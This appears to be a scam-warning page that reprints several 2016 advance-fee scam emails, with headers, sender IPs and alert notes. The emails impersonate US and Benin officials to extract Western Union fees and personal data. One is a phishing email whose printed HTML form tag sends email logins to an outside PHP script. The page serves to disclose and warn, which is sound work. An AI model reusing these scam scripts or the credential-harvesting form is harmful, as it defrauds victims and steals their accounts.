I am John Glover Roberts Jr, Chief Justice of the Supreme Court of United States. I wish to  inform you that we have received an email from Keith Brian Alexander  stating that your funds in their custody will be deported because you refused to renew your funds document that expired during the process of the funds to your destination. After your diplomat left the funds, they contacted you and you ignored their massages then they decided to deport the funds back. They contacted us regarding the deporting of the funds and we asked them to hold on let's confirm from you before any action would be taken.

We have concluded every necessary arrangement regards the renewing of the said certificate today, to renew the document will cost you the sum of 200usd and it is been renewed, it will be faxed to Keith Brian Alexander  in order to complete the release now that the funds is in United State.

However, I want to guarantee you 100% that the document will be renew immediately the fee of 200usd is received from you before the end of the day. Therefore, be advice to urgently send the needed fee to us, so that the paper will renewed and signed for commencement of your funds which will be finalize within today or tomorrow.
Due to the urgency of this matter, you are advised to send the fee to my agent with the below stated information's via western union money transfer only.

Receivers name: IKELIE BOSIL
Receivers address: BENIN REPUBLIC.
Text question: How Long
Text answer: Today
AMOUNT: 200usd
MTCN:

Furnish this office with the payment details involving your full information, once the payment is made, or call me at my direct cell phone number as soon as you send the fee today 0014702530002 you can email me your direct cell phone number so that I can call you as soon as the document is renewed so that you will be ready to receive it with all pleasure.

Yours Faithfully,
CHIEF JUSTICE OF THE SUPREME COURT OF UNITED STATES.

PHISHING ALERT! PHISHING scam email from Western Union Money Transfer Management westernunion765@yahoo.in www.crestwoodgc.com/images/edmil.php

DO NOT ENTER YOUR EMAIL LOG-IN AND PASSWORD ON THE .HTML FORM ATTACHED TO THIS EMAIL!  This email IS NOT FROM WESTERN UNION!  The form is posting to http://crestwoodgc.com/images/edmil.php and is PHISHING for your email log-in!

from:    WESTERN UNION TRANSFER <westernunion765@yahoo.in>
reply-to:    WESTERN UNION TRANSFER <westernunion765@yahoo.in>
to:   
date:    Mon, Jan 25, 2016 at 5:29 AM
subject:    Dear Beneficiary Your First Payment Have Been Sent open the attach.
signed-by:    yahoo.in

Dear Beneficiary,

Your compaction form United Nations will be send to you through western union money transfer and your first payment have been sent to you today $5000usd get back to me immediately you pick the $500usd so that we will send you another payment.Kindly View Your Attached File And the mtcn Information.

Western Union Money Transfer.
Management.

attachment; filename="YOUR FIRST TRANSFER PAYMENT.html"
<form method="POST" name="frmSample" action="http://crestwoodgc.com/images/edmil.php" onSubmit="return ValidateForm()" style="margin:0px">

419 scam email from Mr. Peter Jeh Johnson U.S. Department of Homeland Security Secretary danna556@yahoo.co.jp staffalternative@hotmail.com staffalternative@gmail.com

Originating IP: 41.86.234.165
Originating ISP: Isocel Telecom
City: Cotonou
Country of Origin: Benin

Sender: danna556@yahoo.co.jp
from:    MR. PETER JEH.JOHNSON <staffalternative@hotmail.com>
reply-to:    "MR. PETER JEH.JOHNSON" <staffalternative@gmail.com>
to:   
date:    Sat, Jan 23, 2016 at 2:00 PM
subject:    U.S DEPARTMENT OF HOMELAND SECURITY

U.S DEPARTMENT OF HOMELAND SECURITY
MG Timothy J. Lowenberg,Adjutant General and Director State Military Department Washington Military
Dept., Bldg1 Camp Murry ,Wash 98430-5000 USA

GOOD DAY TO YOU!!

I HOPE THIS MAIL FINDS YOU IN GOOD SPIRIT AND IN GOOD HEALTH? BECAUSE I AM QUITE AWARE OF YOUR LOSSES IN THE PAST YEARS NOW, IT MAY SURPRISE YOU THAT I AM ALSO AWARE OF YOUR CONSIGNMENT BOXES PURSUIT IN BENIN GHANA TOGO NIGERIA SPAIN FRANCE MALAYSIA INDONESIA CHINA AND KOREA .MY NAME IS MR. MR. PETER JEH.JOHNSON, THE SECRETARY OF U.S DEPARTMENT OF HOMELAND SECURITY OF AMERICA, AM IN CHARGE TO MONITORED ALL FOREIGN TRANSACTIONS IN AFRICA EUROPE AND ASIA.

I HAVE BEEN IN THE U.S DEPARTMENT OF HOMELAND SECURITY NOW SINCE THE GOVERNMENT OF PRESIDENT BARACK OBAMA, MONITORING THE VARIOUS TRANSACTIONS GOING ON IN AFRICA, EUROPE AND ASIA, MOST ESPECIALLY CONSIGNMENTS CASES AND BANK TRANSFER. I DO NOT INTEND TO SPOIL YOUR DAY OR TO PUT YOU UNDER DURESS.

BUT YOU CAN NOT RECEIVE ANY OF YOUR CONSIGNMENTS BOXES PURSUIT, WITHOUT A CLEARANCE FROM THE U.S DEPARTMENT OF HOMELAND SECURITY. HOWEVER, UPON MY ARRIVAL IN BENIN REPUBLIC AFTER SERIES OF MEETINGS WITH OUR PRESIDENT BARACKS OBAMA AND UNITED NATIONS SECRETARY GENERAL BAN KI-MOON, DUE TO NUMEROUS COMPLAINS FROM OTHER SECURITY AGENCIES FROM AFRICA ASIA, EUROPE, OCEANIA, ANTARCTICA, SOUTH AMERICA AND THE UNITED STATES OF AMERICA RESPECTIVELY, AGAINST THE BENIN GOVERNMENT AND NIGERIA OVER THE RATE OF SCAM/FRAUDULENT ACTIVITIES GOING ON IN THIS COUNTRY AND AFRICA.

WHEN I ARRIVE IN THE BENIN PARLIAMENT IN COTONOU, I FOUND YOUR CONSIGNMENT BOX CLEARANCE FILE LYING ON THE FOREIGN AFFAIR OFFICE DESK WITHOUT ANY ATTENTION ON A THOROUGH SCRUTINY I DISCOVERED THAT YOUR CONSIGNMENT HAVE BEEN ABANDONED BY YOUR DELIVERY AGENT. MEANWHILE, I WAS MADE TO UNDERSTAND THAT THEY HAVE TRY TO REACH YOU, BUT NO WAY AND THEY HAVE MADE SEVERAL ATTEMPTS TO CONTACT YOUR DELIVERY AGENT BUT TO NO AVAIL.

TO MY GREATEST SURPRISE, DURING MY RECENT ROUTINE RE-CHECKING, I PERSONALLY DISCOVERED THAT YOUR CONSIGNMENT CONTENT DECLARATION DOCUMENTS STATED THAT YOUR CONSIGNMENT CONTAINS PERSONAL EFFECTS MEANWHILE; IT CONTAINS UNITED STATES DOLLAR BILLS WORTH OVER US$10.5MILLION DOLLARS, WHICH MADE IT IMPOSSIBLE FOR THE CONSIGNMENT TO BE DELIVERED TO YOU EARLIER BEFORE NOW.

BASED ON THIS PERSONAL DISCOVERY, I AM CONTACTING YOU NOW TO LET YOU KNOW THAT WITH MY POSITION AND POWER AS THE SECRETARY OF U.S DEPARTMENT OF HOMELAND SECURITY, I CAN ASSIST YOU TO LEGALLY CLEAR YOUR CONSIGNMENT FUND, BUT YOU MUST AGREE WITH THE FOLLOWING CONDITIONS. BECAUSE I HAVE CALLED OUR OFFICE IN WASHINGTON, DC FROM BENIN, WHO HAS BEEN INTERCEPTING ALL YOUR TELEPHONE CALLS, WITH THE HELP OF MTN, TIGO VODAFONE AND AIR-TEL NETWORK BENIN

I ALSO RECEIVED SOME INFORMATION FROM OUR HOMELAND SECURITY OFFICE IN BENIN REPUBLIC, ABOUT YOUR EMAILS, THAT YOU HAVE BEEN DEALING AND SENDING MONEY TO PEOPLES IN BENIN GHANA SOUTH AFRICA TOGO BENIN AND NIGERIA WHO CLAIMS TO BE THE WESTERN UNION DIRECTOR. YOU ARE ALSO DEALING WITH A BANK, AND OTHER NAMES WHICH I AM STILL WAITING TO BE FORWARDED TO ME FROM OUR OFFICE IN WASHINGTON, DC. WHO HAVE MONITORED ALL YOUR DEALINGS WITH THIS HOODLUM

YOU ARE ADVICE TO HENCE FORT STOP FURTHER DEALINGS WITH ALL THE ABOVE MENTIONED PEOPLE, UNTIL WE COMPLETE OUR INVESTIGATION.

BECAUSE YOUR DEALING WITH THEM IS TERMED AS ILLEGAL TRANSACTION.
I WISH TO INFORM THAT WE THE HOMELAND SECURITY IS ON LOOK OUT FOR ALL THE ABOVE MENTIONED NAME, MOSTLY THOSE WHO CLAIMS TO BE THE DIRECTOR OF WEST AFRICAN DEBT WESTERN UNION AND MONEY GRAM AND PROPERTY RECOVERY BENIN. ALL THIS MENTIONED PEOPLE ARE IMPOSTOR, AND WE INTEND TO APPREHEND THEM SOON.

I WANT YOU TO PLEASE STOP COMMUNICATING, AND DEALING WITH THEM UNTIL WE COMPLETE OUR INVESTIGATION. I WISH TO NOTIFY YOU ABOUT THE LATEST DEVELOPMENT CONCERNING YOUR BOX OF CONSIGNMENT THAT WAS HANDED OVER TO ME AFTER THE MEETING HELD BETWEEN ME AND SOME OF THE TOP PARLIAMENT MEMBERS OF BENIN AND THE FOREIGN AFFAIR MINSTER IN THE BENIN CAPITAL HEADQUARTERS COTONOU, DUE TO THE DELAY FOR YOU NOT HAVE RECEIVED YOUR CONSIGNMENT BOX FOR LONG TIME NOW.

ACCORDINGLY, WE HAVE WAIVED AWAY ALL YOUR CONSIGNMENT BOX CLEARANCE FEES AND AUTHORIZED THE GOVERNMENT OF BENIN REPUBLIC TO ALLOW ME FLY WITH THIS YOUR APPROVED CONSIGNMENT BOX TO YOU WITHOUT ANY DELAY WHICH THEY HAVE AGREED. THE ONLY FEE YOU WILL PAY TO CONFIRM YOUR CONSIGNMENT BOX RECEIVED IN YOUR POSSESSION IS THE WEIGHT FEE OF YOUR CONSIGNMENT BOX WHICH IS SUM OF $155.00 ONLY.

IN ORDER WORDS YOUR BOX IS WITH ME NOW AND I SHALL BE COMING TO YOUR COUNTRY AS SOON AS I HEAR FROM YOU AND I WILL BE COMING ALONG WITH YOUR BOX OF CONSIGNMENT, BUT REMEMBER THAT AS THE SECRETARY OF THE DEPARTMENT OF HOMELAND SECURITY UNITED STATES OF AMERICA, I AM A US GOVERNMENT SECURITY AGENT AND I HAVE THE POWER TO GO THROUGH ANY AIRPORT CUSTOMS WITHOUT INSPECTING WHAT I CARRY ALONG.

AND AS SOON AS I ARRIVE IN YOUR STATE I WILL GIVE YOU A PHONE CALL FOR YOU TO GIVE ME DIRECTION TO YOUR HOME ADDRESS SO THAT WE CAN MEET FACE TO FACE AND HAND OVER YOUR BOX TO YOU BEFORE PROCEEDING BACK TO THE STATES. SO I WANT YOU TO RE-CONFIRM TO ME THE BELOW INFORMATION FOR PROPER UNDERSTANDING BY FILLING THE ATTACH HOMELAND SECURITY REGISTRATION FORM OKAY.

BENEFICIARY NAME:
ADDRESS:
TEL PHONE:
OCCUPATION:
COUNTRY:
SEX:

AS SOON AS I ARRIVE I SHALL CALL YOU ON YOUR TELEPHONE NUMBER THEN MEET YOU IN PERSON AND HAND OVER YOUR CONSIGNMENT BOX TO YOU BEFORE I RETURN BACK TO WASHINGTON DC.

I HAVE TAKEN THIS ASSIGNMENT UPON MYSELF BECAUSE I UNDERSTAND THAT YOU HAVE REALLY PAID SO MUCH ON THE COST OF DELIVERY, BUT NOTHING WAS RECEIVED BY YOU. SO BE ADVICE TO CONTACT ME IMMEDIATELY YOU GET THIS EMAIL NOW BECAUSE EVERY THING HAS BEEN DONE OK. THIS IS DIRECTLY FROM OUR PRESIDENT BARACK OBAMA.

ONCE YOU SEND THE MONEY, TRY TO NOTIFY ME WITH THE MTCN FOR EASY PICK UP AND FOR IMMEDIATE ACTION ON THE DELIVERY OF YOUR CONSIGNMENT BOX, FOR YOU TO RECEIVE YOUR INHERITED FUNDS WITHOUT ANY FURTHER DELAY AGAIN SINCE YOU WERE UNABLE TO RECEIVE IT SINCE.

SEND THE FEE VIA WESTERN UNION MONEY TRANSFER.

RECEIVER’S NAME:............ JOHNSON ARONU
COUNTRY:...........  BENIN REPUBLIC
CITY:.................  COTONOU
AMOUNT:.......... $155.00 ONLY
QUESTION:........ IN GOD
ANSWER:............. WE TRUST
MTCN:........
SENDER's NAME:.............
SENDER'S ADDRESS:.........

AS SOON AS YOU SEND THE FEE MAKE SURE YOU SEND ME THE PAYMENT INFORMATION.ONCE YOU SEND THE MONEY, TRY TO NOTIFY ME WITH THE MTCN FOR CONFIRMATION AND FOR IMMEDIATE ACTION ON THE HANDLING OVER OF YOUR FUND TO YOU.ALSO YOU ARE TO FORWARD TO US ANY MAIL THAT YOU HAVE BEEN RECEIVING FROM PEOPLE FOR PROPER VERIFICATION AND INVESTIGATION BEFORE YOU DEAL WITH THEM OKAY.

I HAVE A VERY LIMITED TIME TO STAY HERE SO I WOULD LIKE YOU TO URGENTLY RESPOND TO THIS MESSAGE WITH THE PAYMENT, MY DEAR, THIS IS THE OPPORTUNITY FOR YOU AND HAVE TO COMPLY AND YOUR BOX SHALL BE DELIVER TO YOUR DESIGNATED ADDRESS.BUT REMEMBER THAT AFTER (3 DAYS) YOU DID NOT MAKE THE PAYMENT THEN I WILL DIVERT YOUR FUNDS TO US GOVERNMENT FUND OR BENIN GOVERNMENT TREASURY. PLEASE TREAT THIS AS MATTER OF URGENCY.

SINCERELY YOURS,
MR. PETER JEH.JOHNSON
SECRETARY OF THE DEPARTMENT OF HOMELAND SECURITY

419 scam email from Mrs. Sara Ibrahim Fact Finding & Special Duties Benin Accountant General of Federation musicalbaby69@gmail.com saraibrahim774@yahoo.com

from:    Accountant General Of federation. <musicalbaby69@gmail.com>
reply-to:    saraibrahim774@yahoo.com
to:   
bcc:   
date:    Sat, Jan 23, 2016 at 7:33 AM
subject:    Form Mrs Sara Ibrahim Accountant General Of federation.
mailed-by:    gmail.com
signed-by:    gmail.com

Dear Beneficiary,

I am sorry for this message but you should kindly give attention and
stop chasing shadow. I Am (Mrs Sara Ibrahim )accountant General Of
Federation. Fact Finding & Special Duties Office In Benin. I Am
Writing You.

This Letter Based On The Fact That Cool Penny Is Better Than Millions
Of Dollars, Means It's Better For One To Live And Die Poor Honest
Man/Woman Than A Rich Dishonest One.During the international
investigation with international Monetary Fund (IMF), under Federal
Government of Nigeria Investigation bureau, within the Economic
Community Of West African States (ECOWAS) Region, on this
investigation was when we discovered your file and saw what your were
going through with your fund. We Have Seen Your Fund Floating Through
The Computer Network. And you have done all that is necessary to be
done to get your fund but Without Any Success.

But The Corrupt Officials with African Government Mostly in West
Africa's, Benin Republic,Cote D'ivore, Ghana, Nigeria, And London Sit
On Your Fund, asking you for payment One After Another, Just for Their
Selfish Interest And to Enrich them Self.

After You Have Being Extorted Through Some Corrupt Officials At The
various offices, Banks and attorney's. Affiliate Banks In
London/Europe/Courier companies And They Fail Not To Transfer Your
Money To You But Since Then They Started Finding One Place Or The
Order To Extort Money From You, Claiming That They Are Helping You.
Swearing With Heaven and Their Life's.
To crown it all, THE FEDERAL GOVERNMENT OF BENIN REPUBLIC HAVE LAST
Few DAYS ANNOUNCED EVEN IN SOME LOCAL NEWS PAPER for the realize of
your fund and some other contractors which their names were listed on
the names of the contractors and inheritance payments to be settled.

The Federal Government named Federal Ministry of Finance to take care
of all the payment of about 10 foreigners which their names appear to
be paid.

I Am Writing To Bring This Very Crucial Issue To Your Notice And Make
You To Stop Chasing Shadow And Stop Spending Your Hard Earn Money. If
You Continue Dealing With Those Officials. I Promise You That You Will
Never Get Your Fund Rather You Will Be Asking One After Another For
Payment Or Some Fee For Some Documents and legality, Courier Fees And
Otherwise, And Those Documents Will Continue Till The End Of Your Life
Unless You Stop Now And Find A Solution To Your problems.

If Your Fund Is illegal, The Government and other ministries couldn't
have approved it for the first time. Therefore Be Wise And Realize
Your Senses Now. Benin local News paper have reported the release of
your fund from Government of Benin. And these thief refused to release
your funds.Their Tricks Of Extortion Will Never End Unless You Leave
Them Now And Stop Further Communications with all those people
contacting you that they will help you Because If You Continue dealing
with them, They Will Continue Giving You Some Sweet Stories That Will
Make You To Believe Them. But You Will Only Regret Those Things
Thereafter.

This Fund Have Been Floating With Banks But They Never Wanted To tell
you the simple thing you should do to Transfer The Money To You
Otherwise They Wanted To Exhausted You And Make Sure You Send All Your
Life Savings To Them Just To Enrich Them Self. A Word Is Enough For A
Wise.

However, I Will Only Help You To Get This Money Transfer To Your
Account With The Following Condition.

1}That you most stop further communications with all those people that
have been extorting your money. If You Accept The Above Condition, You
Should Contact Me So I Can Simply Let You Know What You Will Do To Get
Your Fund release.

Note; For security reason and in other to service you better, You
should only contact me with my private email stated bellow for in all
your correspond with me ( saraibrahim774@yahoo.com )or Telephone:+229
61390580

Yours Faithfully
Mrs Sara Ibrahim.

Accountant General Of federation.